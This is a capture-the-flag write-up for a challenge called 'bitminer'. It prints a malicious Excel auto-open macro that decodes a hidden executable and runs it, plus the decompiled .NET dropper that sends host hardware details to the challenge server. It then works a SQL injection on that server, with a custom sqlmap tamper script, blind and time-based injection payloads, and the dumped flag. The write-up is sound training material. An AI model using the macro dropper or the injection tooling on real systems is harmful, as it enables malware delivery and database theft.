Similar to the previous challenge we were provided with an Excel spreadsheet (vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls) that again contained macro code that would be executed when opening the document.
Challenge Description
Our Solution
# olevba vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls olevba 0.52.3 - http://decalage.info/python/oletools Flags Filename ----------- ----------------------------------------------------------------- OLE:MAS-H--- vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls =============================================================================== FILE: vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls Type: OLE ------------------------------------------------------------------------------- VBA MACRO Module1.bas in file: vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub Auto_Open() Predict ("Sheet1") End Sub Predict ("Sheet1") Sub Workbook_Open() End Sub Private Function Predict(ByVal z As String) As String Dim zzzz As String zzzz = "bitcoin.txt" Dim zzzzz As String zzzzz = Environ("USERPROFILE") ChDrive (zzzzz) Dim zzzzzz As Integer ChDir (zzzzz) zzzzzz = FreeFile() Dim zzzzzzz As Integer Dim zz As Integer zz = 4 Open zzzz For Binary As zzzzzz Dim zzz As Worksheet On Error GoTo e Set zzz = Worksheets(z) zzzzzzz = 1 Do While zzz.Columns(zzzzzzz).Cells(zz, (3 / 2)).Value <> "" Do While zzz.Columns(zzzzzzz).Cells(zz, (109 / 87)).Value <> "" Put #zzzzzz, , CByte(zzz.Columns(zzzzzzz).Cells(zz, (5471 / 4871)).Value Xor (42 * 2 + 1)) zzzzzzz = zzzzzzz + (781625 / 679142) Loop zz = zz + Sqr(2) zzzzzzz = 1 Loop Close #zzzzzz zzzzzzzz = Shell(zzzz, vbHide) Exit Function e: MsgBox "Unable to predict the future" Exit Function End Function ------------------------------------------------------------------------------- VBA MACRO ThisWorkbook.cls in file: vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) ------------------------------------------------------------------------------- VBA MACRO Sheet1.cls in file: vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) +------------+---------------+-----------------------------------------+ | Type | Keyword | Description | +------------+---------------+-----------------------------------------+ | AutoExec | Auto_Open | Runs when the Excel Workbook is opened | | AutoExec | Workbook_Open | Runs when the Excel Workbook is opened | | Suspicious | Xor | May attempt to obfuscate specific | | | | strings (use option --deobf to | | | | deobfuscate) | | Suspicious | Open | May open a file | | Suspicious | Shell | May run an executable file or a system | | | | command | | Suspicious | vbHide | May run an executable file or a system | | | | command | | Suspicious | Binary | May read or write a binary file (if | | | | combined with Open) | | Suspicious | Environ | May read system environment variables | | Suspicious | Put | May write to a file (if combined with | | | | Open) | | Suspicious | Hex Strings | Hex-encoded strings were detected, may | | | | be used to obfuscate strings (option | | | | --decode to see all) | +------------+---------------+-----------------------------------------+
Following the same approach as in the previous challenge we copied the contents of the spreadsheet and prepared a sanitized version of the macro code that we could execute. In particular we disabled the call to the Shell function. After running the code we ended up with a bitcoin.txt file that revealed to be a .Net binary.
$ file bitcoin.txt bitcoin.txt: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
With dotPeek (https://www.jetbrains.com/decompiler/) the binary was therefore quickly decompiled.
using System; using System.Collections.Generic; using System.Management; using System.Net; using System.Text; using System.Web.Script.Serialization; public class BitcoinScouter { private static WebClient wc = new WebClient(); private static string cpu; private static string gpu; private static string cid; private const string AGENT = "Bitcoin Mining $couter 0.1 Beta 1337"; public static void Main() { Console.WriteLine("[+] Bitcoin Mining $couter..."); BitcoinScouter.cpu = BitcoinScouter.getHWInfo("win32_processor", "Name"); BitcoinScouter.gpu = BitcoinScouter.getHWInfo("win32_VideoController", "Name"); BitcoinScouter.cid = BitcoinScouter.getHWInfo("win32_ComputerSystem", "Name"); if (BitcoinScouter.askcc("?a=benchmark", BitcoinScouter.encodeB64(new JavaScriptSerializer().Serialize((object) new Dictionary<string, string>() { { "cid", BitcoinScouter.cid }, { "cpu", BitcoinScouter.cpu }, { "gpu", BitcoinScouter.gpu } }))) == "go") { Console.WriteLine("[+] Yeah nice hardware.. Let's mine ;-)"); BitcoinScouter.mineStuff(); } else Console.WriteLine("[-] Shitty hardware (>_<).. it's not worth it"); } public static string askcc(string target, string data) { BitcoinScouter.wc.Headers.Add("user-agent", "Bitcoin Mining $couter 0.1 Beta 1337"); return BitcoinScouter.wc.UploadString("http://bitminer.insomni.hack/" + target, data); } public static string getHWInfo(string hwClass, string hwProp) { string str = ""; foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM " + hwClass).Get()) str += managementObject[hwProp].ToString(); return str; } public static string encodeB64(string input) { return Convert.ToBase64String(Encoding.UTF8.GetBytes(input)); } public static string mineStuff() { Console.WriteLine("[-] Euuu let's steal mining code somewhere... I'll be back for you! :D"); return (string) null; } }
The binary was a BitcoinScouter that would collect the CPU, GPU and hostname and transmit it base64 encoded to http://bitminer.insomi.hack. Before encoding the payload it would look similar to the following:
{"cid":"CTF","cpu":"Intel(R) Core(TM) i7-7600U CPU @ 2.80GHz","gpu":"Intel(R) HD Graphics 620"}
When analyzing the request we quickly discoverd that the server required us to send a dedicated User-Agent and a GPU that was suitable for mining. In addition, when tampering with the payload, we noticed that the application was very likely to be vulnerable to an SQL injection.
POST /?a=benchmark HTTP/1.1 Host: bitminer.insomni.hack User-Agent: Bitcoin Mining $couter 0.1 Beta 1337 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 136 {"cid":"KARI","cpu":"Intel(R) Core(TM) i7-7600U CPU @ 20.80GHz","gpu":"Nvidia GeForce GTX 1080 Ti'''"}
When introducing an uneven amount of ‘ characters the server would respond with an Internal Server Error:
HTTP/1.0 500 Internal Server Error Date: Fri, 23 Mar 2018 18:12:58 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
To exploit the vulnerability we decide to use sqlmap (http://sqlmap.org/) with the following request file:
POST /?a=benchmark HTTP/1.1 Host: bitminer.insomni.hack User-Agent: Bitcoin Mining $couter 0.1 Beta 1337 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 136 *
And we added a custom tamper script based on the existing base64encode tamper script:
#!/usr/bin/env python import base64 from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): payload = '{"cid":"CTF'+payload+'","cpu":"Intel(R) Core(TM) i7-7600U CPU @ 20.80GHz'+payload+'","gpu":"Nvidia GeForce GTX 1080 Ti' + payload + '"}' return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload
While using sqlmap we noticed that there were some additional restrictions in place, prompting us to add the “between” tamper script and using the hex function for data retrieval:
$ sqlmap -r request --tamper=between,bitminer --risk=3 --level=5 sqlmap identified the following injection point(s) with a total of 535 HTTP(s) requests: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: %00' OR NOT 4041=4041 AND 'KzIQ'='KzIQ Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: %00' AND (SELECT * FROM (SELECT(SLEEP(5)))NtEe) AND 'nLBK'='nLBK --- web server operating system: Linux Ubuntu web application technology: Apache 2.4.18 back-end DBMS: MySQL 5.0.12
To finally obtain the flag , we ran:
$ sqlmap -r request --tamper=between,bitminer --risk=3 --level=5 -D bitminer -T flag --dump sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: %00' OR NOT 4041=4041 AND 'KzIQ'='KzIQ Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: %00' AND (SELECT * FROM (SELECT(SLEEP(5)))NtEe) AND 'nLBK'='nLBK --- web server operating system: Linux Ubuntu web application technology: Apache 2.4.18 back-end DBMS: MySQL 5.0.12 Database: bitminer Table: flag [1 entry] +---------------------------------------------------+ | value | +---------------------------------------------------+ | INS{M1ninG_i5_t0o_H4rD_Lets_D0_Norm4l_Cyb3rCr1me} | +---------------------------------------------------+
Leave a Reply